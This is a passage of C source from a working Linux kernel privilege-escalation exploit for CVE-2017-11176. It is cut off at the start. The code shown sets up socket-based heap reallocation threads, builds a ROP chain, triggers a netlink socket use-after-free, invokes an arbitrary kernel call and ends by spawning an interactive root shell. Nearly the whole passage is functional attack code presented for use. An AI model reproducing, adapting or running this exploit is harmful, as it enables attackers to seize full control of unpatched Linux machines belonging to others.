sockaddr*)&rta->addr, sizeof(rta->addr))) { perror("[-] connect"); goto fail; } // set the timeout value to MAX_SCHEDULE_TIMEOUT memset(&tv, 0, sizeof(tv)); if (_setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) { perror("[-] setsockopt"); goto fail; } return 0; fail: // TODO: release everything printf("[-] failed to initialize UNIX sockets!\n"); return -1; } // ---------------------------------------------------------------------------- static void* realloc_thread(void *arg) { struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg; struct msghdr mhdr; char buf[200]; // initialize msghdr struct iovec iov = { .iov_base = buf, .iov_len = sizeof(buf), }; memset(&mhdr, 0, sizeof(mhdr)); mhdr.msg_iov = &iov; mhdr.msg_iovlen = 1; // the thread should inherit main thread cpumask, better be sure and redo-it! if (migrate_to_cpu0()) goto fail; // make it block while (_sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0) ; if (errno != EAGAIN) { perror("[-] sendmsg"); goto fail; } // use the arbitrary data now iov.iov_len = 16; // don't need to allocate lots of memory now mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer mhdr.msg_controllen = sizeof(g_realloc_data); g_nb_realloc_thread_ready++; while (!g_realloc_now) // spinlock until the big GO! ; // the next call should block while "reallocating" if (_sendmsg(rta->send_fd, &mhdr, 0) < 0) { perror("[-] sendmsg"); goto fail; } return NULL; fail: printf("[-] REALLOC THREAD FAILURE!!!\n"); return NULL; } // ---------------------------------------------------------------------------- static int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs) { int thread = 0; int ret = -1; if (!can_use_realloc_gadget()) { printf("[-] can't use the 'ancillary data buffer' reallocation gadget!\n"); goto fail; } printf("[+] can use the 'ancillary data buffer' reallocation gadget!\n"); if (init_realloc_data()) { printf("[-] failed to initialize reallocation data!\n"); goto fail; } printf("[+] reallocation data initialized!\n"); printf("[ ] initializing reallocation threads, please wait...\n"); for (thread = 0; thread < nb_reallocs; ++thread) { if (init_unix_sockets(&rta[thread])) { printf("[-] failed to init UNIX sockets!\n"); goto fail; } if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0) { perror("[-] pthread_create"); goto fail; } } // wait until all threads have been created while (g_nb_realloc_thread_ready < nb_reallocs) _sched_yield(); // don't run me, run the reallocator threads! printf("[+] %lu reallocation threads ready!\n", nb_reallocs); return 0; fail: printf("[-] failed to initialize reallocation\n"); return -1; } // ---------------------------------------------------------------------------- // keep this inlined, we can't loose any time (critical path) static inline __attribute__((always_inline)) void realloc_NOW(void) { g_realloc_now = 1; _sched_yield(); // don't run me, run the reallocator threads! sleep(5); } // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================ int main(void) { int sock_fd2 = -1; int val; struct realloc_thread_arg rta[NB_REALLOC_THREADS]; printf("[ ] -={ CVE-2017-11176 Exploit }=-\n"); if (migrate_to_cpu0()) { printf("[-] failed to migrate to CPU#0\n"); goto fail; } printf("[+] successfully migrated to CPU#0\n"); if (allocate_uland_structs()) { printf("[-] failed to allocate userland structures!\n"); goto fail; } build_rop_chain((uint64_t*)g_fake_stack); printf("[+] ROP-chain ready\n"); memset(rta, 0, sizeof(rta)); if (init_reallocation(rta, NB_REALLOC_THREADS)) { printf("[-] failed to initialize reallocation!\n"); goto fail; } printf("[+] reallocation ready!\n"); if (find_netlink_candidates(&g_target, &g_guard)) { printf("[-] failed to find netlink candidates\n"); goto fail; } printf("[+] netlink candidates ready:\n"); printf("[+] target.pid = %d\n", g_target.pid); printf("[+] guard.pid = %d\n", g_guard.pid); if (fill_receive_buffer(&g_target, &g_guard)) goto fail; if (((unblock_fd = _dup(g_target.sock_fd)) < 0) || ((sock_fd2 = _dup(g_target.sock_fd)) < 0)) { perror("[-] dup"); goto fail; } printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2); // trigger the bug twice AND immediatly realloc! if (decrease_sock_refcounter(g_target.sock_fd, unblock_fd) || decrease_sock_refcounter(sock_fd2, unblock_fd)) { goto fail; } realloc_NOW(); // close it before invoking the arbitrary call close(g_guard.sock_fd); printf("[+] guard socket closed\n"); if (!check_realloc_succeed(unblock_fd, MAGIC_NL_PID, MAGIC_NL_GROUPS)) { printf("[-] reallocation failed!\n"); // TODO: retry the exploit goto fail; } printf("[+] reallocation succeed! Have fun :-)\n"); // trigger the arbitrary call primitive printf("[ ] invoking arbitrary call primitive...\n"); val = 3535; // need to be different than zero if (_setsockopt(unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val))) { perror("[-] setsockopt"); goto fail; } printf("[+] arbitrary call succeed!\n"); printf("[+] exploit complete!\n"); printf("[ ] popping shell now!\n"); char* shell = "/bin/bash"; char* args[] = {shell, "-i", NULL}; execve(shell, args, NULL); return 0; fail: printf("[-] exploit failed!\n"); PRESS_KEY(); return -1; } // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================